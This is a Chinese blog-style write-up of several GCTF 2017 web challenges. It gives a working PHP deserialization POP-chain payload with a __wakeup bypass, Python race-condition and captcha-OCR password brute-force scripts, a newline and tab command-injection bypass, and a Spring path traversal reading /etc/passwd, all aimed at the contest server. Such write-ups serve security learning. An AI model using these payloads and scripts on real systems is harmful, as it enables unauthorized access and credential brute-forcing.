GCTF-2017-部分WEB-Writeup

比赛的时候因为别的事情耽搁没有做,后续回来补题,补到一半的时候就出wp了,看完之后就不太想继续补了,感觉大部分题目都是脑洞,没有什么太大意义,所以这里只有之前我做的几道题。当然也不能说完全没有收货,稍微简单学习了下简单的验证码识别,不过虽然最后不需要识别就能做,但是最后我的方法是脑洞加验证码识别搞出来的。感觉有点意思,回头又去作了下challengeland上的captcha题目。

最近想学的东西有点多,所以就暂时不刷题了,静下心来学东西。

热身题

直接扫到robots.txt,然后访问其中的rob0t.php拿到flag,

php反序列化

index.php看到源码对session处理时用的是php_serialize处理器,经典的反序列化漏洞点了。直接用一个|就能截断并注入数据。 在query.php~看到类情况如下:


class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        if($this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}

首先我们可以构造一个TOPC对象,然后通过之前的一个文章所说的方法使其反序列化之后__wakeup失效只执行__destruct,然后让TOPC对象的attr属性为一个TOPB对象,这样echo时候就会触发他的__toString方法,然后再构造TOPB对象的attr属性为一个TOPA对象,同时TOPA对象的ticket属性地址和token属性要指向同一个地址这样才能绕过判断,具体的php如下:

<?php

class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        if($this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}

$tmp=new TOPA();
$tmp->ticket=&$tmp->token;
$tmp->username ='aaaaaaaaaaaaaaaaa';
$tmp->password = 'bbbbbbbbbbbbbbbbbb';
$strings=serialize($tmp);

$a=new TOPC();
$a->attr=new TOPB();
$a->attr->attr=$strings;
echo serialize($a);

然后根据这个文章:__wakeup()函数失效引发漏洞%E5%87%BD%E6%95%B0%E5%A4%B1%E6%95%88%E5%BC%95%E5%8F%91%E6%BC%8F%E6%B4%9E(CVE-2016-7124)) 修改payload 最后提交为

src=|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}

条件竞争

这道题就是比较经典的条件竞争了,而且还是给了源码的,一般条件竞争的话只要你能够确定有条件竞争,就几乎没有太大的思维上的难度,就是一个脚本实现的技巧而已,有些时候需要大量线程同时竞争,有些时候并不需要,要视不同的情况编写代码,所以需要对python的多线程或是多进程编程有一定的了解。下一 章的python深入学习我打算学学多线程,虽然平时用的很多,但是对这整个模块没有系统的了解。还是先回到题目吧。

这里贴一下关键部分的源码。

<?php

// 初次访问生成用户
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}
$mysqli->close();
?>

简单说我们有以下两个个操作:重置随机用户名的密码,登陆。

而我们看重置的时候总共进行了四个数据库交互操作,而登陆的时候我们大概猜想只会有两个数据库操作,就是验证用户名密码,因为注释里面说了判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限。

重置函数四条语句
1、删除user表记录
2、删除priv表记录
3、增加新的user表记录
4、增加新的priv表记录

登陆函数二条语句
1、查询user表记录
2、查询priv表记录

如果我们按平时一般思路大概会这样写

import requests
import string
import re
import random
import threading
import Queue
from time import sleep,time

a=Queue.Queue()
url_reset="http://218.2.197.232:18009/index.php"
url_login="http://218.2.197.232:18009/login.php?method=login"

def reset():
    r=requests.session()
    a.put(r)
    con=r.get(url_reset).content
    name=re.findall('value="(.*?)"><\/dd><\/dl>',con)[0]
    a.put(name)
    data={'name':name,"password":"123"}
    print r.post(url_reset+"?method=reset",data=data).content;


def login():
    r=a.get()
    name=a.get()
    print name
    data={"name":name,"password":"123"}
    content=r.post(url_login,data=data).content
    print content
    if "无权限" not in content and "用户名或密码错误" not in content:
        raw_input()
'''
reset()
raw_input()
login()
'''
while True:
    t1 = threading.Thread(target=reset, args=())
    t2 = threading.Thread(target=login, args=())
    t1.start()
    t2.start()
    t1.join()
    t2.join()

也就是一个重置函数一个登陆函数,然后当重置函数执行完第三条语句还没执行第四条语句时候,登陆函数登陆上去。这是我们想要通过竞争达到的效果,但是按照上面的写法我们很难达到效果。当然肯定时能成功的,但是只是可能花费的时间会更多,实测花了4分钟左右竞争到。

因为我们可以简单分析下,重置函数四个操作,登录函数两操作假定每个操作耗时一样。

大部分情况下,重置函数执行了两个操作,登陆函数也是执行了两个操作,所以我们通过竞争很难达到效果,所以我们需要先让登录函数等待一定时间。

那么等待多久?我们分析之后知道我们需要尽量让重置函数先把前两个删除操作执行了之后然后剩下两个和登陆函数一起竞争执行,所以等待时间就是两个操作的时间,所以这里我们简化,因为重置操作总共四个操作,所以登录函数等待时间就是重置操作执行时间的一半。

所以我们最后改正之后的exp如下:

#!/usr/bin/env python
# encoding: utf-8

import requests
import string
import re
import random
import threading
import Queue
from time import sleep,time

a=Queue.Queue()
url_reset="http://218.2.197.232:18009/index.php"
url_login="http://218.2.197.232:18009/login.php?method=login"
dtime=0

def get_reset_time():
    con=requests.get(url_reset).content
    name=re.findall('value="(.*?)"><\/dd><\/dl>',con)[0]
    data={'name':name,"password":"123"}

    t1=time()
    requests.post(url_reset+"?method=reset",data=data).content;
    t2=time()
    dtime=t2-t1

def reset():
    r=requests.session()
    a.put(r)
    con=r.get(url_reset).content
    name=re.findall('value="(.*?)"><\/dd><\/dl>',con)[0]
    a.put(name)
    data={'name':name,"password":"123"}
    print r.post(url_reset+"?method=reset",data=data).content;


def login():
    r=a.get()
    name=a.get()
    #raw_input()
    print name
    sleep(dtime/2)
    data={"name":name,"password":"123"}
    content=r.post(url_login,data=data).content
    print content
    if "无权限" not in content and "用户名或密码错误" not in content:
        raw_input()
'''
reset()
raw_input()
login()
'''
get_reset_time()
while True:
    t1 = threading.Thread(target=reset, args=())
    t2 = threading.Thread(target=login, args=())
    t1.start()
    t2.start()
    t1.join()

这样子的话大概花了不到1min就竞争到了,当然还存在分析误差,如果还要想精确分析的话,还需要计算单次无数据库操作请求一次访问的往返时间,再重置操作里面减去此次请求的往返时间,在除以2便是等待时间。这样肯定是能够更快竞争出来,不过我没有尝试。

最后截图如下:

RCE绕过

fuzz了一下,大概能用的可显特殊字符就以下:

36 $
42 *
44 ,
45 -
60 <
61 =
91 [
92 \
93 ]
94 ^
95 _

另外数字和字母大小写都没有被过滤。 但是像是%09,%0d,%0a对应的\t,\r,\n这些关键字符并没有被过滤。 所以尝试http://218.2.197.232:18006/?cmd=%0d%0acat%09即拿到flag了。。。

16位的变态验证码怎么做

哎这道题被误导了,一看到验证码就想到了之前challengeland的captcha的题目,那个题目的验证码更难,但是没有找到wp。所以去gayhub上找了。找了个验证码大赛的一份代码,结果半天成功率贼低。后来直接用一个python库来识别,改造以下大概如下:

#!/usr/bin/env python
# encoding: utf-8
import requests
import pytesseract
import Queue
import threading
from PIL import Image
import os
import re

r=requests.session()
password=open("captcha_password.txt","r").readlines()
passqueue=Queue.Queue()

def getcode():
    while 1:
        try:
            file=r.get("http://218.2.197.232:18003/code.php?0.9999").content
            open("vcode.png","wb").write(file)
            image=Image.open('vcode.png')
            code=pytesseract.image_to_string(image)
            if(re.match("[a-zA-Z0-9]*",code).group()!=code or len(code)!=16):
                return False
            return code
        except:
            pass

def verify():
    while 1:
        try:
            passwd=passqueue.get(timeout=0.05)
        except:
            continue
        code=getcode()
        while code==False:
            code=getcode()
        data={
            "user":"ADMIN",
            "password":passwd,
            "vcode":code,
            "button":'%E6%8F%90%E4%BA%A4'
            }
        content=r.post("http://218.2.197.232:18003/index.php",data=data).content
        while "vcode error" in content:
            code=getcode()
            while code==False:
                code=getcode()
            print code
            data={
                "user":"ADMIN",
                "password":passwd,
                "vcode":code,
                "button":'%E6%8F%90%E4%BA%A4'
            }
            content=r.post("http://218.2.197.232:18003/index.php",data=data).content
            print content[:11]
        if "username or password error" in content:
            print "--->%s: wrong"%passwd
        else:
            print passwd
            print content
            raw_input()

if __name__=="__main__":
    for passwd in password:
        passqueue.put(passwd[:-1])
    Thread_count=2
    for i in xrange(Thread_count):
        t = threading.Thread(target=verify, args=())
        t.start()
        print i

然后两个小时跑了快四百个。后来我给中断了。当时思索了一下,肯定正确的密码再中间,所以只取了400-600范围内的密码字典,然后跑出答案来了。

最后看wp,才知道服务器验证有问题,当时一看验证码就一股脑钻进去陷入死胡同了。。哎思想僵化。。。 服务器根据session进行验证,如果不设置cookie的话就没有验证码,所以就不用验证码识别了。。靠。。

#!/usr/bin/env python
# encoding: utf-8
import requests

password=open("captcha_password.txt","r").readlines()

if __name__=="__main__":
    for passwd in password:
        data={
                "user":"ADMIN",
                "password":passwd[:-1],
                "vcode":"",
                "button":'%E6%8F%90%E4%BA%A4'
            }
        content=requests.post("http://218.2.197.232:18003/index.php",data=data).content
        if "username or password error" in content:
            print "--->%s: wrong"%passwd[:-1]
        else:
            print passwd
            print content
            raw_input()

spring-css

直接用awvs扫描就出来了:

框架存在的目录遍历及文件读取漏洞,再github上找了个payload:

http://218.2.197.232:18015/spring-css/resources/file:/etc/passwd

然后得到提示flag,最后payload

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag